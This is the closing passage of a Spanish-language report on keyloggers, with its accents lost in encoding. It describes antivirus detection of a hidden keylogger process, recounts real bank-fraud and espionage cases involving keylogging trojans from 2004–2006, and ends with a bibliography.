Tras el reinicio del equipo debido a la instalacin de Spy Lantern Keyloger, se activa una ventana especial que indica que el proceso ketaf.exe est oculto. El encubrimiento del proceso es el resultado de la accin del driver ketaf.sys que bloquea las llamadas de dos funciones de enumeracin de la lista de procesos y de la lista de archivos en el ncleo del sistema operativo.

El mdulo de defensa proactiva permite poner en cuarentena el archivo ejecutable del proceso oculto y detenerlo o autorizarlo. El mdulo de defensa proactiva de Kaspersky Lab permite identificar, sin excepciones, todos los procesos ocultos en el sistema, cualquiera sea el mtodo que usen para encubrirse.

28

10. Casos reales


Uno de los ltimos incidentes ms conocidos en relacin al uso de keyloggers fue el del robo de ms de un milln de dlares de las cuentas de los clientes de uno de los mayores bancos escandinavos, el banco Nordea. En agosto de 2006, los clientes de Nordea empezaron a recibir correos electrnicos de parte del banco con ofertas para instalar un producto antispam, supuestamente, adjunto al mensaje. En el momento en que el usuario trataba de abrir el archivo y descargarlo en su ordenador, este se infectaba con un conocido troyano llamado Haxdoor que se activaba cuando las vctimas se registraban en el servicio en lnea de Nordea. El troyano lanzaba entonces una notificacin de error solicitando al usuario reingresar la informacin provista al momento de registrarse. Luego, un keylogger que vena incorporado en el troyano grababa todos los datos ingresados por los clientes del banco y acto seguido proceda a enviar toda la informacin recogida al servidor del ciberdelincuente. De este modo los ciberdelincuentes accedan a las cuentas de los clientes y transferan los fondos que haba en ellas. Segn el autor de Haxdoor, el troyano ha sido utilizado en ataques contra bancos australianos as como contra muchos otros [INVI08]. El 24 de enero de 2004, el conocido gusano Mydoom dio lugar a una gran epidemia. MyDoom rompi la marca anteriormente establecida por Sobig, causando la epidemia de mayores proporciones en la historia de Internet. El gusano se vala de mtodos de ingeniera social y realiz un ataque DoS a www.sco.com inhabilitndolo por varios meses. El gusano dej tras de s un troyano en los ordenadores infectados que posteriormente se utiliz para infectar al ordenador cautivo con nuevas modificaciones del gusano. El hecho de que MyDoom tuviera una funcin de keylogger para capturar nmeros de tarjetas de crdito apenas fue divulgado por la prensa. A principios de 2005, la polica de Londres desbarat un grave ataque para robar informacin bancaria. Despus de un ataque al sistema bancario, los ciberdelincuentes haban planeado robar 423 millones de dlares de la sucursal londinense de Sumitomo Mitsui. El principal componente del troyano utilizado, que fue creado por Yeron Bolondi, de 32 aos, era un keylogger que permita a los ciberdelincuentes rastrear todas las pulsaciones de teclas efectuadas por sus vctimas cuando utilizaban la interfaz para clientes del banco. En mayo de 2005 la polica israel detuvo en Londres a un matrimonio que se ocupaba de elaborar programas maliciosos que eran utilizados por algunas compaas israeles para realizar espionaje industrial. Los alcances de este espionaje resultaron ser de proporciones escandalosas, pues los nombres de las compaas involucradas por las autoridades israeles incluan a proveedores de servicios como Cellcom, Pelephone y el proveedor de televisin por satlite YES. Segn se inform, el troyano fue utilizado para obtener acceso a informacin relacionada con la agencia de relaciones pblicas Rani Rahay, cuyos clientes incluan a Partner Communications (el segundo proveedor de servicios de telefona mvil en Israel) y el grupo de televisin por cable HOT. La compaa israel Mayer, importadora de automviles Volvo y Honda, result sospechosa de cometer espionaje industrial contra Champion Motors, importadora de automviles Audi y Volkswagen. Ruth Brier-Haephrati, quien vendi el troyano

29

keylogger que su marido Michael Haephrati haba creado, fue sentenciada a cuatro aos de prisin, mientras que Michael recibi una sentencia de dos aos. En febrero de 2006, la polica brasilea arrest a 55 personas involucradas en la propagacin de programas maliciosos utilizados para robar a los usuarios su informacin y contraseas para sistemas bancarios. Los keyloggers se activaban mientras los usuarios visitaban el sitio Internet de sus bancos, y en secreto rastreaban los datos sobre estas pginas para luego enviarlas a los cibercriminales. El total del dinero robado de las cuentas de 200 clientes en seis bancos en el pas, alcanz los 4,7 millones de dlares. Casi al mismo tiempo que esto suceda, se arrest una banda de delincuentes con similares caractersticas conformada por jvenes rusos y ucranianos de entre 20 y 30 aos. A finales de 2004, este grupo comenz a enviar mensajes de correo electrnico a clientes de bancos en Francia y en otros pases. Estos mensajes contenan un programa malicioso, especficamente, un keylogger. Adems, estos programas espa fueron colocados en sitios Internet especialmente creados para este propsito. Los usuarios eran engaados para dirigirse a estos sitios mediante mtodos clsicos de ingeniera social, como phising. De la misma manera que en los casos arriba descritos, el programa se activaba cuando los usuarios visitaban el sitio Internet de sus bancos y el keylogger proceda a capturar toda la informacin ingresada por los usuarios para luego remitirla a los ciberdelincuentes. En el transcurso de once meses, robaron ms de un milln de dlares. Existen muchos ms ejemplos sobre ciberdelincuentes que recurren a keyloggers: la mayora de los delitos informticos financieros se comete utilizando keyloggers, ya que estos programas son la herramienta ms confiable para rastrear informacin electrnica.

30

11. Bibliografa
[CAIX08] [CODI06] https://caixagestion.caixagalicia.es/2091/01TEVIm.htm Cormac, Herley; Florencio, Dinei - 2006 How to Login from an Internet Caf Without Worrying about Keyloggers http://es.ghacks.net/2007/07/07/como-defenderse-contra-keyloggers-enordenadores-publicos/ http://invisiblehack.mforos.com/1139500/6197741-tutorial-keylogger/ http://www.kaspersky.net.ar/amenazas.keyloggers.htm#detect http://www.keelog.com/es/diy.html http://www.logisteam.org/store/catalog/index.php/ http://www.logixoft.com/ Picouto, Fernando; Matas, Abel Mariano; Ramos, Antonio ngel 2004 Hacking Prctico http://www.securityfocus.com/infocus/1829 http://spycop.com/keyloggerremoval.htm http://www.verisign.com/verisign-inc/news-and-events/news-archive/usnews-2005/page_036258.html http://virusattack.blogspot.com/2007/08/qu-es-un-keylogger-leccin-9.html http://www.viruslist.com/sp/analysis?pubid=207270912#what http://isp.webopedia.com/TERM/K/keylogger.html http://es.wikipedia.org/wiki/Keylogger http://en.wikipedia.org/wiki/Keylogger http://en.wikipedia.org/wiki/Hardware_keylogger

[GHAC08]

[INVI08] [KASP08] [KEEL08] [LOGI08] [LOGI08b] [PICO04]

[SECU08] [SPYC08] [VERI08]

[VIRA08] [VIRL08] [WEBO08] [WIKI08a] [WIKI08b] [WIKI08c]

31

También podría gustarte